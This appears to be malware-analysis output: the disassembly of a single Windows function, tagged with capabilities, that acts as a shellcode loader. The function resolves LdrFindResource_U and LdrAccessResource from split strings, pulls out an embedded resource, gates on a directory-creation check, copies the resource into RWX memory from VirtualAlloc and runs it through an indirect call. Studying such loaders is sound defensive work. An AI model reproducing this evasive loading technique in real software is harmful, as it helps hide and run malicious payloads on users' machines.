Function at 0x401d89
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
push ebp
sub esp, 0x150
lea ebp, [esp - 4]
mov eax, dword [0x436df0]
xor eax, ebp
mov dword [ebp + 0x150], eax
push 0x74
mov eax, 0x429bf1
call fcn.00413362
xor ebx, ebx
push str.LdrFin
lea ecx, [ebp + 0x54]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0xa
mov dword [ebp - 0x28], 0x1e55
mov dword [ebp - 0x24], 0x409
call fcn.0040213c
push str.dReso
lea ecx, [ebp + 0x38]
mov dword [ebp - 4], ebx
call fcn.0040213c
push str.urce_U
lea ecx, [ebp + 0x70]
mov byte [ebp - 4], 1
call fcn.0040213c
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 2
call fcn.004028a6
lea ecx, [ebp + 0x70]
push ecx
push eax
lea eax, [ebp + 0x1c]
push eax
mov byte [ebp - 4], 3
call fcn.004028a6
add esp, 0x18
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 5
call fcn.0040234c
push 0x430ae0
lea ecx, [ebp + 0xe0]
call fcn.0040213c
push str.Acces
lea ecx, [ebp + 0xfc]
mov byte [ebp - 4], 6
call fcn.0040213c
push str.sResource
lea ecx, [ebp + 0x118]
mov byte [ebp - 4], 7
call fcn.0040213c
lea eax, [ebp + 0xfc]
push eax
lea eax, [ebp + 0xe0]
push eax
lea eax, [ebp - 0x64]
push eax
mov byte [ebp - 4], 8
call fcn.004028a6
lea ecx, [ebp + 0x118]
push ecx
push eax
lea eax, [ebp]
push eax
mov byte [ebp - 4], 9
call fcn.004028a6
add esp, 0x18
mov byte [ebp - 4], 0xb
push ebx
push edi
lea ecx, [ebp - 0x64]
call fcn.0040234c
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LdrAc
lea ecx, [ebp + 0xc4]
mov dword [ebp - 0x10], eax
call fcn.0040213c
push str.cessRe
lea ecx, [ebp + 0x8c]
mov byte [ebp - 4], 0xc
call fcn.0040213c
push str.source
lea ecx, [ebp + 0xa8]
mov byte [ebp - 4], 0xd
call fcn.0040213c
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp + 0xc4]
push eax
lea eax, [ebp - 0x80]
push eax
mov byte [ebp - 4], 0xe
call fcn.004028a6
lea ecx, [ebp + 0xa8]
push ecx
push eax
lea eax, [ebp + 0x134]
push eax
mov byte [ebp - 4], 0xf
call fcn.004028a6
add esp, 0x18
push ebx
push edi
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x11
call fcn.0040234c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrFindResource_U
push dword [ebp - 0x10]
call esi
cmp dword [ebp + 0x14c], 0x10
mov dword [0x43b448], eax
mov eax, dword [ebp + 0x138]
jae 0x401f60
lea eax, [ebp + 0x138]
push eax
push dword [ebp - 0x10]
call esi
mov dword [0x43b444], eax
lea eax, [ebp - 0x20]
push eax
push 3
lea eax, [ebp - 0x2c]
push eax
mov esi, 0x400000
push esi
call dword [0x43b448]
cmp eax, ebx
jl 0x401f97
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x20]
push esi
call dword [0x43b444]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push str.C:Users_
mov dword [ebp - 0x10], ebx
call esi
test eax, eax
jne 0x401fc0
push 0x40
push 0x1000
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.00412850
lea eax, [ebp - 0x18]
call fcn.004018d2
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00401953
add esp, 0x18
push ebx
push str.C:Users_
call esi
test eax, eax
jne 0x401ff7
call dword [ebp - 0x10]
push ebx
push edi
lea ecx, [ebp + 0x134]
mov byte [ebp - 4], 0xe
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0xa8]
mov byte [ebp - 4], 0xd
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0x8c]
mov byte [ebp - 4], 0xc
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0xc4]
mov byte [ebp - 4], 0xb
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp]
mov byte [ebp - 4], 8
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0x118]
mov byte [ebp - 4], 7
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0xfc]
mov byte [ebp - 4], 6
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0xe0]
mov byte [ebp - 4], 5
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 2
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0x70]
mov byte [ebp - 4], 1
call fcn.0040234c
push ebx
push edi
lea ecx, [ebp + 0x38]
mov byte [ebp - 4], bl
call fcn.0040234c
or dword [ebp - 4], 0xffffffff
push ebx
push edi
lea ecx, [ebp + 0x54]
call fcn.0040234c
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x150]
xor ecx, ebp
call fcn.00411cff
add ebp, 0x154
leave
ret